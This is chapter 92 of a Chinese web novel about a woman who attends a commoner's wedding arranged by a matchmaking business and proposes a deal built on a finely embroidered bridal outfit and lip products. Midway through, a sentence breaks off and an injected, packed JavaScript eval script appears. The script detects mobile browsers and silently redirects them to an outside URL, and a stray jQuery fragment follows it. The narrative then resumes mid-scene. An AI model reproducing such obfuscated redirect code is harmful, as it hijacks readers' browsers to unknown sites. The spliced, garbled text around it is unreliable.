92. 第 92 章
作品:《屏屏的种田日常》 盛屏认为这是个不错的方向,只是有一点儿比较难,她没见过这个时候的新娘子的装扮。
“我们要怎样才能跟新娘子见面呢?”
王秋云摇头,“无亲无故的,怎么会随意让外人见新娘子呢?”
盛屏也这么想,“总要有个联系人。”
王秋云道:“那便只能是媒婆了。”
在这里,媒婆是一个正经职业,官府那儿挂了名,发了牌,叫做冰人,且男女不限,这些人有固定上班的地方,不仅给人做媒,还要负责婚嫁事务,算是婚庆公司,冰人还要在婚礼上充当司仪的角色,要找到他们不难。
盛屏一头盯着点心铺的装修,一头制作唇脂和唇膏,装在特制的瓷瓶里,包装得体精美,又写信给焦红锦,让她找几个巧手,抓紧做出一身嫁衣来。
五天后,盛屏收到了焦红锦托人送来的嫁衣,连着红盖头、手绢,是普通的细棉布制成的。
衣服上的绣花虽然是常见的花团锦簇、龙凤呈祥,却因着几分巧思,有种立体感,不刻板呆滞,又用了银线,阳光底下一照,流光溢彩,生动得很,加上嫁衣颜色正,拿碳熨斗熨直以后,质感上升不少。
盛屏把嫁衣用红布包起来放进木箱里,妆发用的梳子、篦子和胭脂水粉又用一个小巧却精致的木匣子装好,她提着装衣服的木箱,王秋云拿妆发箱,两人挑了一个黄道吉日,前往万山镇最大的冰人馆——喜良缘。
原本盛屏以为新皇登基不足一年,民间办喜事当要偷摸且简单,结果今上对此事并不看重,先前不顾朝中大臣坚决要选秀,而后不久传出新妃怀孕。
上面既然毫无顾忌,民间自然宽松起来。
而让盛屏苦恼的不知从何处窥见新娘装扮的问题,因喜良缘这一年多来生意日渐冷清,不得已把客户群从富人转到平民的举措,得以解决。
林府大厨房王主厨的孙子要成亲,他儿孙多,成年以后分了家,几个儿子没跟着他学手艺,各自谋生,有发达的就有落魄的,这次成亲的是小儿子的幼子,他们一家过得一般,属于饿不死的阶层。
喜良缘改革以后,不仅要说媒,连酒席婚宴一事也一手包办,整场婚礼下来一口价五两银子,还包含了新娘、新郎的衣服和妆容,再加上席上要用的酒水、菜肴,这钱是不够的,于是喜良缘开放了婚宴,表示只要每人随礼一百文,就能参加喜宴。
盛屏得了王大厨的请,不必随礼,王秋云自掏腰包给了一百文,两人从正门进,特意找到靠前的位置坐下。
院子里摆了二十桌的席面,不一会儿就坐满了,还有那没坐下的,又被下人忙里忙外的挪桌椅板凳,重新给布置上一桌新席面。
王厨子跟盛屏说过,他虽然有五个儿子、三个女儿,但是兄弟姊妹间,因为不是一个娘生的,关系并不好,加上不在一个地儿谋生,所以他这边来吃席的人很少,顶破天十个人。
女方是乡下农户出身,亲戚虽然多,可都是衣服打补丁,脚上穿草鞋的泥腿子,大老远跑一趟,人不乐意来,所以今天来吃席的人多半都是凑热闹的外人。
盛屏虽然任务在身,但对这边的婚庆仪式感到好奇,眼睛就没闲着,不是看门口往来进出的人,就是看堂屋里的布置,可惜虽然在前排,但离屋里还是有些远,看得并不真切,不过耳边响起的恭贺声、鞭炮声,眼前的红喜字、红绸子,还是让她有了些许实感。
婚礼是在黄昏时开始的,新娘被新郎从门外背进来,过院子,顺着铺到堂屋的红毯一路往前,在正式进门前,新娘从新郎背上下来,跨火盆。
火盆一跨,其他人都排到堂屋外头,里面站着内亲,外头的人自动围成一圈观礼。
今天婚礼上担当司仪的是喜良缘头号冰人——伍娘子,她大约三十岁,皮肤偏黑,有一双丹凤眼,眼眸格外黑亮,更有一把大嗓门,喜庆祝福的词说得响亮,声音里透着喜气洋洋的劲儿。
随着伍娘子一声“礼成”,外头的人簇拥着将新娘送去新房,新郎则被几个内亲带去了院子里招待客人。
盛屏和王秋云跟着新娘那波人走,只见他们到了新房,几个喜良缘的工作人员把门打开,让新娘进屋,接着再把门一关,门神一般立在门口,揣着手,挂着笑,同外头的人说话打哈哈,说了好半天,这些人愣是一点儿没动,还吵嚷着要见新娘子,要闹洞房。
喜良缘的工作人员眉心一皱,不过很快又重新露出笑,从荷包里倒出一把铜板,撒向人群,嘴里念着:“喜贺、喜乐、喜钱。”
这把钱一撒,所有人弓腰埋头,在微弱的烛光照耀下捡钱,钱捡完人也散了。
喜良缘的人这才松一口气,方才撒钱的人,是名女子,名唤左青儿,十七八的年纪,模样看着稚嫩,但做事却老成,她叫人去把通往这里的三道门关上,只留下偏院的小门,提前叫人去哪儿等着。
左青儿转身要推门,余光见有两个人还没走,回身奇怪的问:“你们怎么还不走?可是觉得喜钱不够?”
她朝盛屏她们走去,脸上笑吟吟的。
“这一年咱们店生意不好做,今儿个这喜钱是给的少了些,不过这都是讨个喜头的事儿,没必要太较真,两位还是快快去前院吃席喝酒吧。”
盛屏笑着摇头,“这位姐姐,我们是有事想见新娘一面?”
左青儿看她二人打扮,不似乡下人,“你们是新郎的亲戚?”
盛屏点头:“我同新郎的爷爷同在林府做事。”
左青儿笑着点头,“既如此,那便请进。”
新房只是一个临时装饰好的房间,盛屏她们进门时,新娘已经换下了衣服,正在拆头饰,见着左青儿了,忙从梳妆镜前起身。
“姐姐们好。”
新娘拘谨的看着她们,眼中有疑惑,却不敢出声,只讷讷不言,立在一旁。
盛屏将新娘上下打量,个子娇小,体型偏瘦,脸颊上有一层厚厚的白粉,腮边的红晕夸张得醒目,嘴唇倒是很红,但是一看就是用红纸抿出来的,唇纹明显不说,还干裂了,看起来就很不精致。
左青儿在外头就注意到盛屏和王秋云手上的木匣子,她知道新郎的爷爷是林府的厨子,想来里面装的是食物,不过,怎么一点儿饭菜香也没有。
盛屏给王秋云使了一个眼色。
王秋云上前一步,把手里的木匣子放在梳妆台上,又伸手去拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117063|155811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新娘,让她坐下。
盛屏让左青儿上前,两人往里面的桌前走去。
盛屏请左青儿坐下,将木匣子放在桌上,打开,端出一碟南瓜饼、一碟冬瓜糖。
左青儿一副果真如此的表情,客气道:“王公子一家有心了,新娘嫁过去定是个享福的命。”
盛屏不语,把面上一层隔板取下来,从里头拿出个红包袱来,她一边慢条斯理打开包袱,一边同左青儿轻声道:“这套嫁衣绣的是龙凤呈祥,后背是花团锦簇,盖头是鸳鸯戏水,手帕上是蝶飞蜂舞。”
左青儿眼见着盛屏把嫁衣、盖头、手帕一一摆出来,怔愣片刻道:“王公子可是嫌弃我们喜良缘准备的嫁衣不够好?”
喜良缘如今虽然不比从前风光,可到底是多年招牌,拿出手的东西不说多华贵,却也精致得体。
王家这门亲事,是伍娘子亲自去乡下保的媒,新娘一家虽说只是种地的乡下人,祖上却也出过一个秀才,家里有几箱子的旧藏书,王家正是为了那几箱的藏书,这才求到了喜良缘去。
这是喜良缘改革以后第一单生意,背后几位老板达成共识,要不惜人力、物力,以求办得妥当,要把名声打出去。
伍娘子从业多年,好不容易从员工熬成老板,更是不辞辛劳,几次去乡下,回回不空手,好话说了一箩筐,又送米面粮油,帮着新娘一家在城里找活儿干,才撬动了新娘一家的嘴,得了一句准话,这才有了今日的婚礼。
左青儿是伍娘子的徒弟,她是孤儿,被伍娘子从戏班子里买回去,多年来不曾薄待她,一身本领更是倾囊相授,日后是要继承伍娘子的衣钵的,自是上心得很。
盛屏见左青儿面色不好,解释道:“姑娘莫要多想,我们并非是嫌弃喜良缘的嫁衣不好,只是有一门生意想同你们做。”
生意?
左青儿瞧一眼桌上的红嫁衣,又看梳妆台上刚从木匣子里拿出来摆成一列的小瓷瓶。
“什么生意?”
盛屏将嫁衣掸开,底下的银线在烛火下发出流光,给衣服笼罩上一层朦胧的美感。
左青儿半晌没挪开眼,起身轻轻抚摸嫁衣,面料柔软,却没有珠光感,只是普通的细棉布,只是颜色倒与他们准备的嫁衣颜色一模一样,要想染成这样的正红色,可不容易,既有这样好的染布手艺,如何不用到丝绸上去?那才能卖个好价钱。
再看衣服正面的龙凤呈祥图案,左看右看,好似不管从哪里看,龙凤的眼睛都随着她的目光移动,关键是有流光。
她拨弄开衣服看里头的线头,却是藏得严实,一点儿没露出来。
翻看后头的花团锦簇,是寻常的富贵花开,只是花瓣层层叠叠,几种颜色层次变化下来,像是画上去似的。
左青儿拿起鸳鸯盖头,一对鸳鸯在水面浮动,几条线条真像水一般随着它们的游动漾出浅浅波痕。
手帕也是巧夺天工,穿花而过的蝴蝶,停在花蕊中间的蜜蜂,关键绣的是石榴,石榴多子,寓意也好。
左青儿将东西放回远处,这时再看盛屏眼中多了几分揣测,面上的笑容愈发的深了。
“娘子到底要同我们做什么生意?”